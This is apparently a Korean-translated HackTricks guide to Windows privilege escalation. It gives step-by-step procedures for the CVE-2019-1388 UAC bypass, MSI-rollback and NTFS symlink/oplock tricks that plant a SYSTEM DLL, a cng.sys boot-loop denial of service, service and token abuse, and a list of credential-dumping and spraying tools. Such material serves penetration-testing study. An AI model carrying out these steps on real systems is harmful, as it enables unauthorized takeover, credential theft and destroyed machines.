그래픽 인터페이스에 접근할 수 있고 (via console 또는 RDP를 통해) UAC가 활성화된 경우, 일부 Microsoft Windows 버전에서는 권한이 없는 사용자로부터 터미널이나 “NT\AUTHORITY SYSTEM” 같은 다른 프로세스를 실행할 수 있습니다.
이로 인해 동일한 취약점을 이용해 권한 상승과 UAC 우회가 동시에 가능해집니다. 또한 아무것도 설치할 필요가 없고, 과정 중 사용되는 바이너리는 Microsoft에서 서명 및 발급된 것입니다.
영향을 받는 시스템의 일부는 다음과 같습니다:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
이 취약점을 악용하려면 다음 단계를 수행해야 합니다:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
Administrator Medium에서 High Integrity Level으로 / UAC Bypass
Integrity Levels에 대해 배우려면 다음을 읽으세요:
그런 다음 UAC와 UAC bypasses에 대해 배우려면 다음을 읽으세요:
Arbitrary Folder Delete/Move/Rename에서 SYSTEM EoP로
이 블로그 포스트in this blog post에 설명된 기법과, exploit codeavailable here가 사용됩니다.
공격은 기본적으로 Windows Installer의 rollback 기능을 악용해 정당한 파일을 제거(또는 교체)하는 대신 악성 파일로 바꾸는 방식입니다. 이를 위해 공격자는 C:\Config.Msi 폴더를 하이재크할 수 있는 악성 MSI 인스톨러를 만들어야 하며, 이후 다른 MSI 패키지의 제거 과정에서 Windows Installer가 롤백 파일을 저장할 때 그 롤백 파일들이 악성 페이로드를 포함하도록 조작됩니다.
요약된 기법은 다음과 같습니다:
- Stage 1 – Hijack 준비 (
C:\Config.Msi를 비워둠)
-
Step 1: MSI 설치
-
쓰기 가능한 폴더(
TARGETDIR)에 무해한 파일(예:dummy.txt)을 설치하는.msi를 만듭니다. -
설치 프로그램을 **“UAC Compliant”**로 표시하여 비관리자 사용자도 실행할 수 있게 합니다.
-
설치 후 파일에 대한 handle을 열어 둡니다.
-
Step 2: 제거 시작
-
동일한
.msi를 제거합니다. -
제거 과정에서 파일들이
C:\Config.Msi로 이동되고.rbf파일로 이름이 변경됩니다(롤백 백업). -
파일이
C:\Config.Msi\<random>.rbf가 될 때를 감지하기 위해GetFinalPathNameByHandle로 열려 있는 파일 핸들을 폴링합니다. -
Step 3: 사용자 동기화
-
.msi에는 다음과 같은 **사용자 정의 언인스톨 액션(SyncOnRbfWritten)**이 포함되어 있어: -
.rbf가 씌워졌을 때 신호를 보냅니다. -
이후 제거가 계속되기 전에 다른 이벤트를 대기합니다.
-
Step 4:
.rbf삭제 차단 -
신호가 오면
FILE_SHARE_DELETE없이.rbf파일을 오픈하여 — 이것이.rbf가 삭제되는 것을 방지합니다. -
그런 다음 제거가 완료되도록 다시 신호를 보냅니다.
-
Windows Installer는
.rbf를 삭제하지 못하고, 모든 내용을 삭제할 수 없으므로C:\Config.Msi가 제거되지 않습니다. -
Step 5:
.rbf를 수동으로 삭제 -
공격자는
.rbf파일을 수동으로 삭제합니다. -
이제
C:\Config.Msi가 비워져 하이재크할 준비가 됩니다.
이 시점에서,
C:\Config.Msi를 삭제하기 위해 SYSTEM 권한 수준의 임의 폴더 삭제 취약점을 트리거하세요.
- Stage 2 – 롤백 스크립트를 악성으로 교체
-
Step 6: 약한 ACL로
C:\Config.Msi재생성 -
직접
C:\Config.Msi폴더를 다시 만듭니다. -
약한 DACL(예: Everyone:F)을 설정하고
WRITE_DAC권한으로 핸들을 열어 둡니다. -
Step 7: 다른 설치 실행
-
다시
.msi를 설치합니다. 이때: -
TARGETDIR: 쓰기 가능한 위치. -
ERROROUT: 강제 실패를 유발하는 변수. -
이 설치는 롤백을 다시 트리거하는 데 사용되며, 롤백은
.rbs와.rbf를 읽습니다. -
Step 8:
.rbs감시 -
ReadDirectoryChangesW로C:\Config.Msi를 모니터링하여 새.rbs가 나타날 때까지 대기합니다. -
파일 이름을 캡처합니다.
-
Step 9: 롤백 전에 동기화
-
.msi에는 **사용자 정의 설치 액션(SyncBeforeRollback)**이 포함되어 있어: -
.rbs가 생성되면 이벤트를 신호로 보냅니다. -
그 후 계속 진행하기 전에 대기합니다.
-
Step 10: 약한 ACL 재적용
-
.rbs created이벤트를 받으면: -
Windows Installer는
C:\Config.Msi에 강한 ACL을 재적용합니다. -
하지만 당신이
WRITE_DAC로 핸들을 여전히 가지고 있으므로, 다시 약한 ACL을 재적용할 수 있습니다.
ACL은 핸들 오픈 시점에만 적용되므로 여전히 폴더에 쓸 수 있습니다.
-
Step 11: 가짜
.rbs와.rbf배치 -
.rbs파일을 덮어써서 Windows가 다음을 하도록 지시하는 가짜 롤백 스크립트를 만듭니다: -
당신의
.rbf(악성 DLL)를 권한 있는 위치(예:C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)로 복원하도록 지시. -
SYSTEM 수준 페이로드 DLL을 포함하는 가짜
.rbf를 내려놓습니다. -
Step 12: 롤백 트리거
-
동기화 이벤트를 신호하여 설치가 재개되도록 합니다.
-
알려진 지점에서 설치를 의도적으로 실패시키기 위해 type 19 사용자 정의 액션(
ErrorOut)이 구성되어 있습니다. -
이로 인해 롤백이 시작됩니다.
-
Step 13: SYSTEM이 당신의 DLL을 설치
-
Windows Installer는:
-
당신의 악성
.rbs를 읽고, -
대상 위치에 당신의
.rbfDLL을 복사합니다. -
이제 SYSTEM이 로드하는 경로에 악성 DLL이 놓입니다.
-
마지막 단계: SYSTEM 코드 실행
-
DLL을 로드하는 신뢰할 수 있는 auto-elevated 바이너리(예:
osk.exe)를 실행합니다. -
Boom: 당신의 코드가 SYSTEM으로 실행됩니다.
Arbitrary File Delete/Move/Rename에서 SYSTEM EoP로
주요 MSI 롤백 기법(위)은 전체 폴더(예: C:\Config.Msi)를 삭제할 수 있다고 가정합니다. 하지만 취약점이 임의의 파일 삭제만 허용한다면 어떻게 할까요?
NTFS 내부를 악용할 수 있습니다: 모든 폴더는 다음과 같은 숨겨진 대체 데이터 스트림을 가지고 있습니다:
C:\SomeFolder::$INDEX_ALLOCATION
이 스트림은 폴더의 인덱스 메타데이터를 저장합니다.
따라서 폴더의 ::$INDEX_ALLOCATION 스트림을 삭제하면, NTFS는 파일 시스템에서 폴더 전체를 제거합니다.
이는 다음과 같은 표준 파일 삭제 API를 사용하여 수행할 수 있습니다:
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
file delete API를 호출하더라도, 폴더 자체를 삭제한다.
폴더 내용 삭제에서 SYSTEM EoP로
만약 당신의 primitive가 임의의 파일/폴더를 삭제할 수 없지만, 공격자가 제어하는 폴더의 내용을 삭제할 수 있다면?
- Step 1: 미끼 폴더와 파일 설정
- 생성:
C:\temp\folder1 - 그 안에:
C:\temp\folder1\file1.txt
- Step 2:
file1.txt에 oplock을 설정
- 해당 oplock은 특권 프로세스가
file1.txt를 삭제하려고 할 때 실행을 일시 중단한다.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
- Step 3: SYSTEM 프로세스 트리거 (e.g.,
SilentCleanup)
- 이 프로세스는 폴더(예:
%TEMP%)를 스캔하고 그 내용물을 삭제하려고 시도합니다. file1.txt에 도달하면 oplock triggers가 발생하며 제어가 콜백으로 넘어갑니다.
- Step 4: oplock 콜백 내부 – 삭제 리디렉션
-
Option A:
file1.txt를 다른 곳으로 이동 -
이것은
folder1을 비우지만 oplock을 깨뜨리지는 않습니다. -
file1.txt를 직접 삭제하지 마세요 — 그러면 oplock이 조기에 해제됩니다. -
Option B:
folder1을 junction으로 변환:
# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
- 옵션 C:
\RPC Control에 symlink를 생성:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
이것은 폴더 메타데이터를 저장하는 NTFS 내부 스트림을 대상으로 합니다 — 이를 삭제하면 폴더가 삭제됩니다.
- 5단계: oplock 해제
- SYSTEM 프로세스는 계속 실행되며
file1.txt를 삭제하려고 시도합니다. - 하지만 이제 junction + symlink 때문에 실제로 삭제되는 것은:
C:\Config.Msi::$INDEX_ALLOCATION
결과: C:\Config.Msi가 SYSTEM에 의해 삭제됩니다.
Arbitrary Folder Create에서 Permanent DoS까지
primitive를 악용하면 SYSTEM/admin으로 임의의 folder를 생성할 수 있습니다 — 파일을 쓸 수 없더라도 또는 약한 권한을 설정할 수 없더라도.
예: critical Windows driver의 이름으로 folder(파일이 아니라)를 생성하세요:
C:\Windows\System32\cng.sys
- 이 경로는 일반적으로
cng.sys커널 모드 드라이버에 해당합니다. - 만약 해당 경로를 폴더로 미리 생성하면, Windows는 부팅 시 실제 드라이버를 로드하지 못합니다.
- 그런 다음, Windows는 부팅 중에
cng.sys를 로드하려 시도합니다. - 폴더를 확인하면, 실제 드라이버를 찾지 못해, 충돌하거나 부팅이 중단됩니다.
- 외부 개입(예: 부팅 복구 또는 디스크 접근) 없이는 대체 수단이 없고, 복구가 불가능합니다.
권한 있는 로그/백업 경로 + OM symlinks에서 arbitrary file overwrite / boot DoS로
권한 있는 서비스(privileged service)가 경로를 읽어 오는 **쓰기 가능한 설정(writable config)**에 로그/내보내기(export)를 쓸 때, 그 경로를 Object Manager symlinks + NTFS mount points로 리디렉션하여 권한 있는 쓰기를 임의 덮어쓰기(arbitrary overwrite)로 만들 수 있습니다(심지어 SeCreateSymbolicLinkPrivilege 없이도).
Requirements
- 대상 경로를 저장하는 설정 파일이 공격자에 의해 쓰기 가능해야 합니다(예:
%ProgramData%\...\.ini). \RPC Control에 마운트 포인트를 생성하고 OM 파일 symlink를 만들 수 있는 능력(James Forshaw symboliclink-testing-tools).- 해당 경로에 쓰는 권한 있는 작업(로그, export, report).
Example chain
- 설정을 읽어 권한 있는 로그 대상 복구, 예:
SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txtinC:\ProgramData\ICONICS\IcoSetup64.ini. - 관리자 권한 없이 경로를 리디렉트:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- 권한이 있는 구성요소가 로그를 쓰기를 기다립니다(예: 관리자가 “send test SMS“를 트리거). 쓰기는 이제
C:\Windows\System32\cng.sys에 기록됩니다. - 덮어쓴 대상( hex/PE parser)을 검사하여 손상 여부를 확인합니다; 재부팅하면 Windows가 변조된 드라이버 경로를 로드하도록 강제되어 → boot loop DoS. 이는 특권 서비스가 쓰기 위해 열어보는 모든 보호된 파일로 일반화됩니다.
cng.sys는 보통C:\Windows\System32\drivers\cng.sys에서 로드되지만,C:\Windows\System32\cng.sys에 복사본이 존재하면 먼저 시도될 수 있어 손상된 데이터에 대해 신뢰할 수 있는 DoS sink가 됩니다.
High Integrity에서 SYSTEM으로
새 서비스
이미 High Integrity 프로세스에서 실행 중이라면, SYSTEM으로 가는 경로는 단순히 새 서비스를 생성하고 실행하는 것만으로도 쉬울 수 있습니다:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
서비스 바이너리를 만들 때, 유효한 서비스인지 또는 바이너리가 필요한 작업을 빠르게 수행하는지 확인하세요. 유효한 서비스가 아니면 20초 내에 종료됩니다.
AlwaysInstallElevated
From a High Integrity process you could try to enable the AlwaysInstallElevated registry entries and install a reverse shell using a .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.
High + SeImpersonate privilege to System
코드를 확인할 수 있습니다 find the code here.
From SeDebug + SeImpersonate to Full Token privileges
해당 token 권한을 가지고 있다면(대개 이미 High Integrity 프로세스에서 발견됩니다), SeDebug 권한으로 (protected 프로세스 제외) 거의 모든 프로세스를 열 수 있고, 프로세스의 token을 복사하여 그 token으로 임의의 프로세스를 생성할 수 있습니다.
이 기법은 보통 모든 token 권한을 가진 SYSTEM으로 실행 중인 프로세스를 선택하는 방식입니다 (네, 모든 token 권한이 없는 SYSTEM 프로세스도 존재합니다).
You can find an example of code executing the proposed technique here.
Named Pipes
이 기술은 meterpreter가 getsystem에서 권한 상승할 때 사용합니다. 이 기법은 파이프를 생성한 후 서비스가 해당 파이프에 쓰도록 생성/악용하는 것으로 구성됩니다. 그런 다음 SeImpersonate 권한을 사용하여 파이프를 생성한 서버는 파이프 클라이언트(서비스)의 token을 가장(impersonate) 하여 SYSTEM 권한을 얻을 수 있습니다.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.
Dll Hijacking
If you manages to hijack a dll being loaded by a process running as SYSTEM you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far more easy to achieve from a high integrity process as it will have write permissions on the folders used to load dlls.
You can learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
읽기: https://github.com/itm4n/FullPowers
More help
Useful tools
Windows local privilege escalation vectors를 찾는 최고의 도구: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – 구성 오류 및 민감한 파일을 확인합니다 (check here). 감지됨.
JAWS – 일부 가능한 구성 오류를 확인하고 정보를 수집합니다 (check here).
privesc – 구성 오류 확인
SessionGopher – PuTTY, WinSCP, SuperPuTTY, FileZilla 및 RDP 저장 세션 정보를 추출합니다. 로컬에서는 -Thorough 옵션 사용.
Invoke-WCMDump – Credential Manager에서 자격 증명 추출. 감지됨.
DomainPasswordSpray – 수집한 비밀번호를 도메인 전체에 스프레이합니다
Inveigh – Inveigh는 PowerShell ADIDNS/LLMNR/mDNS 스푸퍼 및 MITM 도구입니다.
WindowsEnum – 기본 Windows privesc 열거 도구Sherlock ~~~~ – 알려진 privesc 취약점 검색 (Watson으로 대체되어 DEPRECATED)WINspect – 로컬 검사 (Admin 권한 필요)
Exe
Watson – 알려진 privesc 취약점 검색 (VisualStudio로 컴파일 필요) (precompiled)
SeatBelt – 구성 오류를 찾기 위해 호스트를 열거합니다 (정보 수집 도구에 더 가깝고 컴파일 필요) (precompiled)
LaZagne – 여러 소프트웨어에서 자격 증명 추출 (GitHub에 precompiled exe 있음)
SharpUP – PowerUp의 C# 포트Beroot ~~~~ – 구성 오류 검사 (GitHub에 실행 파일이 있음). 권장하지 않음. Win10에서 잘 동작하지 않습니다.Windows-Privesc-Check – 가능한 구성 오류 검사 (python 기반 exe). 권장하지 않음. Win10에서 잘 동작하지 않습니다.
Bat
winPEASbat – 이 게시물을 기반으로 만든 도구(정상 작동을 위해 accesschk가 필요하지 않지만 사용할 수 있음).
Local
Windows-Exploit-Suggester – systeminfo 출력 읽고 작동하는 익스플로잇 추천 (로컬 python)
Windows Exploit Suggester Next Generation – systeminfo 출력 읽고 작동하는 익스플로잇 추천 (로컬 python)
Meterpreter
multi/recon/local_exploit_suggestor
프로젝트를 올바른 버전의 .NET으로 컴파일해야 합니다 (see this). 피해자 호스트에 설치된 .NET 버전을 확인하려면 다음을 실행할 수 있습니다:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
참고 자료
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
-
Unit 42 – Privileged File System Vulnerability Present in a SCADA System
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


